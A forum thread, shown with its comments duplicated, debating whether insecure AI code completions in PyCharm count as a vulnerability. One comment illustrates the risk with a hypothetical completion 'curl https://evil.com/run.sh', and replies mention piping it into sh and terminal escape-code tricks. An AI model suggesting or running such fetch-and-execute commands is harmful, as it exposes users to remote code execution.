Are insecure code completions in PyCharm a vulnerability? (opens in new tab)

(sethmlarson.dev)

47 points12_throw_away14d ago16 comments

16 comments

15 comments · 9 top-level

sph14d ago· 5 in thread

Waiting for the first terminal with AI autocompletion.

  $ curl http<tab>

  $ curl https://evil.com/run.sh

Then you’re just an enter away from causing havoc on your system.

mgc814d ago

Well, technically it's not the curl itself that is the problem, but the "| <shell>" coming afterwards that does the damage. So, if the process is somehow broken up into 1) curl <the_script>; 2) analyse <the_script> and 3) only if safe, then execute <the_script> -- then it's not nearly as bad. Of course, that "analyse" step does all the heavy lifting, and if it happens to involve some form of local LLM then... excitement is guaranteed as they say.

inigyou14d ago

curl can do evil things by itself due to terminal escape codes - a popular one was to set the title and then read the title back, which effectively types text into the terminal

1 more reply

chmod77514d ago

Still missing the pipe into sh.

ares62314d ago

Good thing that isn't a popular pattern that would make its way into the training data!

sph14d ago

Ah too late to edit. That is what I meant

frumplestlatz14d ago· 1 in thread

What is “monster-in-the-middle” and why is it being used in place of (presumably) “man-in-the-middle”?

Gander573914d ago

This came up the other day: https://news.ycombinator.com/item?id=48457158

IdiotSavage14d ago

This is just a continuation of common StackOverflow advice to "make it work", which the LLMs use as "knowledge":

https://stackoverflow.com/a/28002687

https://stackoverflow.com/a/32282390

https://stackoverflow.com/a/18062293

Naive users used to copy paste those things from StackOverflow, now they can use line completion in their editor.

mgc814d ago

Maybe not a vulnerability per se, but definitely conducing to ones, as others have noted. However, those completions are quite unfortunate to say the least, thus one would hope JetBrains would endeavour to improve the local (S)LM they're using, or at least offer the user the option to use one of their own, better tuned ones instead?

stephantul14d ago

It’s an interesting question: I’d say this is more of a vulnerability creator than the actual vulnerability.

Similar to how using very difficult technologies makes you more likely to create code with vulnerabilities: the technologies are not the vulnerability, but it’s easier to cause them.

hackermanai14d ago

I have this line completion feature in koieditor.com as well, and it's hard to suggest "safe"/good completions at a low latency. Best approach I could think of is a second pass to verify first pass, but adds to latency, or change to better model, which often also impacts latency.

marcosdumay14d ago

Well, the plugin developers can't really do anything about it.

And it's the one thing the LLM developers have been trying to fix for the last 2 years. Apparently, even at the cost of some other functionality. It's not like they can do it reliably.

chmod77514d ago

It's only a vulnerability if you absolve humans of responsibility and demote them to "meatbag vehicle for checking in LLM code".

runningmike14d ago

“ Are insecure code completions a vulnerability?” No it might be a potential security weakness. Semantics matters.

j / k navigate · click thread line to collapse

16 comments

15 comments · 9 top-level

sph14d ago· 5 in thread

Waiting for the first terminal with AI autocompletion.

  $ curl http<tab>

  $ curl https://evil.com/run.sh

Then you’re just an enter away from causing havoc on your system.

mgc814d ago

inigyou14d ago

curl can do evil things by itself due to terminal escape codes - a popular one was to set the title and then read the title back, which effectively types text into the terminal

1 more reply

chmod77514d ago

Still missing the pipe into sh.

ares62314d ago

Good thing that isn't a popular pattern that would make its way into the training data!

sph14d ago

Ah too late to edit. That is what I meant

frumplestlatz14d ago· 1 in thread

What is “monster-in-the-middle” and why is it being used in place of (presumably) “man-in-the-middle”?

Gander573914d ago

This came up the other day: https://news.ycombinator.com/item?id=48457158

IdiotSavage14d ago

This is just a continuation of common StackOverflow advice to "make it work", which the LLMs use as "knowledge":

https://stackoverflow.com/a/28002687

https://stackoverflow.com/a/32282390

https://stackoverflow.com/a/18062293

Naive users used to copy paste those things from StackOverflow, now they can use line completion in their editor.

mgc814d ago

stephantul14d ago

It’s an interesting question: I’d say this is more of a vulnerability creator than the actual vulnerability.

Similar to how using very difficult technologies makes you more likely to create code with vulnerabilities: the technologies are not the vulnerability, but it’s easier to cause them.

hackermanai14d ago

marcosdumay14d ago

Well, the plugin developers can't really do anything about it.

And it's the one thing the LLM developers have been trying to fix for the last 2 years. Apparently, even at the cost of some other functionality. It's not like they can do it reliably.

chmod77514d ago

It's only a vulnerability if you absolve humans of responsibility and demote them to "meatbag vehicle for checking in LLM code".

runningmike14d ago

“ Are insecure code completions a vulnerability?” No it might be a potential security weakness. Semantics matters.

j / k navigate · click thread line to collapse